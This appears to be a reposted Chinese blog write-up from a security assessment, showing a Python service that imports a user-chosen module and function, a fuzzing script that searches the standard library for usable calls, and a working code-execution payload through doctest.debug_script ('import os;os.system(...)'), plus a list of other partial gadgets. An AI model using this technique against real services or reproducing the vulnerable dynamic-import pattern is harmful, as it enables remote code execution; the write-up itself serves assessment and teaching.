Python命令执行的一个Case

本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,,版权归原作者所有,如有问题请及时联系我们以作处理

作者:leveryd

想要获取更多Python学习资料,了解更多关于Python的知识,可以加Q群630390733踊跃发言,大家一起来学习讨论吧!

在一次安全评估过程中,遇到了一个命令执行的点,但是存在部分限制。

服务是用Python写的,漏洞点的代码精简一下大概如下

import importlib


class AnyClass(object):
    pass


user_input_module = ""   # 用户可控
user_input_function = ""  # 用户可控
user_input_argument = ""  # 用户可控
imp_module = importlib.import_module(user_input_module)
func = getattr(imp_module, user_input_function)

arg =  bytes(user_input_argument.encode("utf-8"))
func(arg, AnyClass())   # 第二个参数必须存在

大概就是 任意模块.任意函数(任意字符串,不可控的实例参数)

因为第二个参数必须存在,所以不能简单的调用 os.system 函数来执行命令。

我的想法就变成,怎么找到一个方法能够执行命令,且这个方法有两个参数,且第二个参数不影响命令执行。

解题过程

想到去遍历Python库,来看看有没有满足上述条件的方法。

于是写了一小段代码来遍历Python默认安装的所有模块,扔给指定参数来尝试调用模块中的方法。如果没有报错,就打印函数后人工排查一下。

# coding:utf-8
import os
import re
import importlib


class AnyClass(object):
    pass


def fuzz_object(o):
    """
    :param o:
    :return:
    """
    for k in o.__dict__:  
        # print(k)
        v = o.__dict__[k]
        if callable(v):   # 遍历模块所有的函数
            try:
                v(b"xxxx", AnyClass())   # 如果函数接受两个参数,且第一个参数是bytes类型,第二个参数可以是任意实例,就把函数名打印出来。
                print(o.__file__, k)
            except Exception as _:
                pass


if __name__ == "__main__":
    abs_path = "/usr/local/Cellar/python/3.7.7/Frameworks/Python.framework/Versions/3.7/lib/python3.7"
    for i in os.listdir(abs_path):  # 遍历Python自带的基础库
        if os.path.isfile(abs_path + "/" + i):
            imp_module = re.sub(r'\.py$', "", i)
            try:
                ip_module = importlib.import_module(imp_module)

                fuzz_object(ip_module)
            except Exception as _:
                print(_)
            except KeyboardInterrupt:
                pass
        elif i not in [".", ".."]:  # 这里就不处理目录了
            pass

结果测出很多函数都可以正常运行,没有报错。

先说最终结论, doctest.debug_script 函数完全满足要求

测试一下

import importlib


class AnyClass(object):
    pass


user_input_module = "doctest"
user_input_function = "debug_script"
user_input_argument = "import os;os.system('touch /tmp/qwer')"  # 执行 touch /tmp/qwer
imp_module = importlib.import_module(user_input_module)
func = getattr(imp_module, user_input_function)

arg =  bytes(user_input_argument.encode("utf-8"))
func(arg, AnyClass())

测试过程中,也发现有很多其他的部分满足需求的函数,这里也一并记录。

os.getenvb  可以读环境变量

eval(xx,{}) 可以命令执行,但是需要第二个参数是dict

pickletools.dis  输出opcode

webbrowser.open("http://www.baidu.com",object)

./idlelib/calltip.get_entity

timeit.timeit()  符合要求

os.fwalk

doctest.debug_script  完全符合要求,可以用来命令执行

总结

寻找满足特定条件的X时,用遍历的思想让程序去找,总会有点收获。

在另外一次针对bash脚本代码审计时也用到了这个简单但有效果的方法,找到了突破点。后面会写一篇介绍 :)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值